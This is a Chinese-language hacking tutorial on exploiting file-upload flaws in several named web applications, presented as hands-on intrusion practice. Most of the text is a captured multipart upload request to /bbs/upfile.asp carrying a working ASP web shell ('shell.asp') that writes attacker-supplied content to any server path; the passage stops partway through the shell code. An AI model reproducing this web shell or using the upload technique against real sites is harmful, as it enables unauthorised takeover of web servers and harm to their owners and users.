网络上许多程序都有着上传漏洞,比如任我飞扬整站程序、动感购物商城、秋叶商城、惠信新闻系统等。本文主要讲解上传漏洞的入侵实战以及一些扩展利用。首先我们要获得客户端和服务器之间传递的数据,事先准备好一个ASP木马准备上传,当然不可能成功,我们要的就是这中间我们向服务器提交的数据。一般用WsockExpert来获得数据,由于数据太多只能把关键部分发出来如下:
POST /bbs/upfile.asp HTTP/1.1
……. 省略了N多没用信息
Content-Length: 1792
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: ASPSESSIONIDQQTDTATD=NLDNNHPDJEEHOFNFBAGPOJKN
-----------------------------7d52191850242
Content-Disposition: form-data; name="filepath"
uploadFace
-----------------------------7d52191850242
Content-Disposition: form-data; name="act"
upload
-----------------------------7d52191850242
Content-Disposition: form-data; name="file1"; filename="E:\木马\asp\shell.asp"
Content-Type: text/plain
<% dim objFSO %>
<% dim fdata %>
<% dim objCountFile %>
<% on error resume next %>
<% Set objFSO = Server.CreateObject("Scripting.FileSystemObject") %>
<% if Trim(request("syfdpath"))<>"" then %>
<% fdata = request("cyfddata") %>
<% Set objCountFile=objFSO.CreateTextFile(request("syfdpath"),True) %>
<% objCountFile.Write fdata %>
<% if err =0 then %>
<% response.write "<font color=red><h2>成功!</h2><font>" %>
<% else %>
<% response.write "<font color=red><h1>失败!</h1></font>" %>
<% end if %>
<% err.clear %>
<% end if %>
<% objCountFile.Close %>
<% Set objCountFile=Nothing %>
<% Set objFSO = Nothing %>
<% Response.write "<form action='''' method=post>" %>
<% Response.write "保存留言<font color=red>如D:\web\x.asp</font>" %>
<% Response.Write "<input type=text name=syfdpath width=32 size=50>" %>
<% Response.Write "<br>" %>
<% Response.write "地址来自" %>
<% =server.mappath(Request.ServerVariables("SCRIPT_NAME")) %>
<% Response.write "<br>" %>
<% Response.write "你的留言:" %>
<% Response.write "<textarea name=cyfddata cols=80 rows=10 width=32></textarea>" %>